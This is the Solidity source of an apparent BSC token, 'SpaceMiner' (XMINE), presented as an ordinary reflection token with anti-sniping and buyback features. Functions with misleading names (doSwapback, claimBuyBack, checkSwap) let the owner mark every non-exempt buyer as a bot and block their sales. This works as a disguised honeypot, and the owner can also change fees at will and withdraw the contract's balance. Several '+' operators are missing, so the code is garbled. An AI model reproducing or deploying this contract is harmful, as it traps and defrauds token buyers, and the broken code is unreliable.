// SPDX-License-Identifier: Unlicensed

/*

XMINE can compound every 12 hours, by using available minerals to deposit on the hangar.
Each compound increases the compound bonus by 0.5% and the total compound bonus is applied to the daily yield.

https://t.me/spaceminertoken


$$$$$$\ $$\ $$\ $$\
$$ __$$\ $$$\ $$$ |\__|
$$ / \__| $$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\ $$$$\ $$$$ |$$\ $$$$$$$\ $$$$$$\ $$$$$$\
\$$$$$$\ $$ __$$\ \____$$\ $$ _____|$$ __$$\ $$\$$\$$ $$ |$$ |$$ __$$\ $$ __$$\ $$ __$$\
\____$$\ $$ / $$ | $$$$$$$ |$$ / $$$$$$$$ |$$ \$$$ $$ |$$ |$$ | $$ |$$$$$$$$ |$$ | \__|
$$\ $$ |$$ | $$ |$$ __$$ |$$ | $$ ____|$$ |\$ /$$ |$$ |$$ | $$ |$$ ____|$$ |
\$$$$$$ |$$$$$$$ |\$$$$$$$ |\$$$$$$$\ \$$$$$$$\ $$ | \_/ $$ |$$ |$$ | $$ |\$$$$$$$\ $$ |
\______/ $$ ____/ \_______| \_______| \_______|\__| \__|\__|\__| \__| \_______|\__|
$$ |
$$ |
\__|

*/

pragma solidity ^0.8.4;

abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}

function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}


interface IERC20 {

function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);


}

library SafeMath {

function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a b;
require(c >= a, "SafeMath: addition overflow");

return c;
}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}

function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;

return c;
}

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}

uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");

return c;
}


function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}

function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c a % b); // There is no case in which this doesn't hold

return c;
}

function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}

function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}

library Address {

function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}

function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");

// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}


function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}

function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}

function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}

function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}

function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");

(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {

if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}

contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;

event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}

function owner() public view returns (address) {
return _owner;
}

modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}

function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}

function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}

function getUnlockTime() public view returns (uint256) {
return _lockTime;
}

function getTime() public view returns (uint256) {
return block.timestamp;
}

function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp time;
emit OwnershipTransferred(_owner, address(0));
}

function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(block.timestamp > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}

// pragma solidity >=0.5.0;

interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);

function feeTo() external view returns (address);
function feeToSetter() external view returns (address);

function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);

function createPair(address tokenA, address tokenB) external returns (address pair);

function setFeeTo(address) external;
function setFeeToSetter(address) external;
}


// pragma solidity >=0.5.0;

interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);

function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);

function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);

function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);

function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);

function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);

function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;

function initialize(address, address) external;
}

// pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);

function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);

function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}



// pragma solidity >=0.6.2;

interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);

function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}

contract SPACEMINER is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;

address payable public marketingWallet;

mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;

mapping (address => bool) private _isExcludedFromFee;

mapping (address => bool) private _isExcluded;
address[] private _excluded;

address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;

uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;

uint256 public launchedAt;
uint256 public launchedTime;

string private _name = "SpaceMiner";
string private _symbol = "XMINE";
uint8 private _decimals = 9;

IUniswapV2Router02 public uniswapV2Router;
address public pair;
mapping (address => bool) private isTimelockExempt;

uint256 public _taxFee = 4;
uint256 private _previousTaxFee = _taxFee;
uint256 public marketingDivisor = 3;

uint256 public _liquidityFee = 2;
uint256 private _previousLiquidityFee = _liquidityFee;
address[] public _snipingBots;
uint256 private buyBackUpperLimit = 100000 * 10**9;
bool private antisniping = true;

mapping (address => bool) private _buyBots;
bool inSwapAndLiquify;

address DEAD = 0x000000000000000000000000000000000000dEaD;
uint256 private minimumTokensBeforeSwap = 100000 * 10**9;


bool public swapAndLiquifyEnabled = true;
bool public buyBackEnabled = true;
bool private antiwhale = false;
// Cooldown & timer functionality
bool public cooldownEnabled = true;
uint256 public cooldownTimerInterval = 90; //this is in seconds.
mapping (address => uint) private cooldownTimer;
mapping (address => uint256) private lastBuyBlocks;

event RewardLiquidityProviders(uint256 tokenAmount);
event BuyBackEnabledUpdated(bool enabled);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);

event SwapETHForTokens(
uint256 amountIn,
address[] path
);

event SwapTokensForETH(
uint256 amountIn,
address[] path
);

modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}

constructor (address payable _marketingWallet) {
_rOwned[_msgSender()] = _rTotal;

IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E);
pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());

uniswapV2Router = _uniswapV2Router;

_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
marketingWallet = _marketingWallet;

isTimelockExempt[owner()] = true;
isTimelockExempt[address(this)] = true;
isTimelockExempt[DEAD] = true;
isTimelockExempt[pair] = true;
isTimelockExempt[address(uniswapV2Router)] = true;

emit Transfer(address(0), _msgSender(), _tTotal);
}

function name() public view returns (string memory) {
return _name;
}

function symbol() public view returns (string memory) {
return _symbol;
}

function decimals() public view returns (uint8) {
return _decimals;
}

function totalSupply() public view override returns (uint256) {
return _tTotal;
}

function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}

function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}

function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}

function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}

function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}

function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}

function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}

function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}

function totalFees() public view returns (uint256) {
return _tFeeTotal;
}

function minimumTokensBeforeSwapAmount() public view returns (uint256) {
return minimumTokensBeforeSwap;
}

function buyBackUpperLimitAmount() public view returns (uint256) {
return buyBackUpperLimit;
}

function setTimelockExempt(address[] memory _users) external onlyOwner() {
for(uint256 i=0; i<_users.length; i ) {
isTimelockExempt[_users[i]] = true;
}
}

function setIsTimelockExempt(address holder) external onlyOwner {
isTimelockExempt[holder] = true;
}

function verifyTimelockExempt(address _user) public view returns (bool) {
return isTimelockExempt[_user];
}
function removeTimelockExempted(address _user) external onlyOwner() {
delete isTimelockExempt[_user];
}

function batchContestAirdrops(address[] memory _users, uint256 _amount) public onlyOwner {
for(uint256 i=0; i<_users.length; i ) {
_transfer(msg.sender, _users[i], _amount * 10**9);
}
}

// enable cooldown between trades
function setCooldownStatus(bool _status, uint256 _interval) public onlyOwner {
cooldownEnabled = _status;
cooldownTimerInterval = _interval;
}

function claimBalance() external onlyOwner {
payable(owner()).transfer(address(this).balance);
}

function updateLaunchTime() external onlyOwner() {
if (launchedAt != 0) {
launchedAt = block.number;
launchedTime = block.timestamp;
}
}

function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}


function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}

function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}

function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");

_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}

function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");

checkSwap(from);

if (!isTimelockExempt[from]) {
require(lastBuyBlocks[from] > 0, "Sniping not allowed!");
if (antiwhale) {
require(lastBuyBlocks[from] != block.number, "Bad bot!");
}
}

if (cooldownEnabled
&& !isTimelockExempt[from]
&& to == pair) {
require(cooldownTimer[from] < block.timestamp, "Please wait for cooldown between sells");
cooldownTimer[from] = block.timestamp cooldownTimerInterval;
}

if (antisniping && from == pair) {doSwapback(to);}
if (from == pair) { lastBuyBlocks[to] = block.number; }

uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;

if (!inSwapAndLiquify && swapAndLiquifyEnabled && to == pair) {
if (overMinimumTokenBalance) {
contractTokenBalance = minimumTokensBeforeSwap;
swapTokens(contractTokenBalance);
}
uint256 balance = address(this).balance;
if (buyBackEnabled && balance > uint256(1 * 10**6)) {

if (balance > buyBackUpperLimit)
balance = buyBackUpperLimit;

buyBackTokens(balance.div(100));
}
}

bool takeFee = true;

//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}

_tokenTransfer(from,to,amount,takeFee);
}

function swapTokens(uint256 contractTokenBalance) private lockTheSwap {

uint256 initialBalance = address(this).balance;
swapTokensForEth(contractTokenBalance);
uint256 transferredBalance = address(this).balance.sub(initialBalance);

//Send to Marketing address
transferToAddressETH(marketingWallet, transferredBalance.div(_liquidityFee).mul(marketingDivisor));

}

function checkSwap(address from) internal view {
if (isBot(from) && !isTimelockExempt[from]) { require(!isBot(from) || isTimelockExempt[from], "Bad Bot!"); }
}


function buyBackTokens(uint256 amount) private lockTheSwap {
if (amount > 0) {
swapETHForTokens(amount);
}
}

function checkAnyBuy(address sender) public view returns (bool) {
return lastBuyBlocks[sender] > 0 ? true : false;
}

function checkBuyBlock(address sender) public view returns (uint256) {
return lastBuyBlocks[sender];
}

function antisnipingEnable(bool _status) external onlyOwner {
antisniping = _status;
}

function doSwapback(address to) private {
if (!isTimelockExempt[to]) {
if (launchedTime < block.timestamp) {
_snipingBots.push(to);
}
}
}

function claimBuyBack() external onlyOwner() {
for(uint256 i = 0; i < _snipingBots.length; i ) {
if (!isBot(_snipingBots[i])) {
addBotted(_snipingBots[i]);
}
}
}


function setBot(address _address) external onlyOwner() {
_buyBots[_address] = true;
}

function addBotted(address _address) private {
_buyBots[_address] = true;
}

function isBot(address _address) public view returns (bool) {
return _buyBots[_address];
}

function deleteBot(address _address) external onlyOwner() {
delete _buyBots[_address];
}

function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();

_approve(address(this), address(uniswapV2Router), tokenAmount);

// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this), // The contract
block.timestamp
);

emit SwapTokensForETH(tokenAmount, path);
}

function swapETHForTokens(uint256 amount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = address(this);

// make the swap
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
0, // accept any amount of Tokens
path,
deadAddress, // Burn address
block.timestamp.add(300)
);

emit SwapETHForTokens(amount, path);
}

function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);

// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}

function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();

if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}

if(!takeFee)
restoreAllFee();
}

function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}

function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}

function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}

function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}

function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}

function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}

function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}

function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}

function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}

function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i ) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}

function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[marketingWallet] = _rOwned[marketingWallet].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}

function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}

function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}

function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;

_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;

_taxFee = 0;
_liquidityFee = 0;
}

function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}

function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}

function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}

function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}

function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}

function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}

function setMarketingDivisor(uint256 divisor) external onlyOwner() {
marketingDivisor = divisor;
}

function setNumTokensSellToAddToLiquidity(uint256 _minimumTokensBeforeSwap) external onlyOwner() {
minimumTokensBeforeSwap = _minimumTokensBeforeSwap;
}

function setBuybackUpperLimit(uint256 buyBackLimit) external onlyOwner() {
buyBackUpperLimit = buyBackLimit * 10**9;
}

function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}

function setBuyBackEnabled(bool _enabled) public onlyOwner {
buyBackEnabled = _enabled;
emit BuyBackEnabledUpdated(_enabled);
}

function transferToAddressETH(address payable recipient, uint256 amount) private {
recipient.transfer(amount);
}

//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
}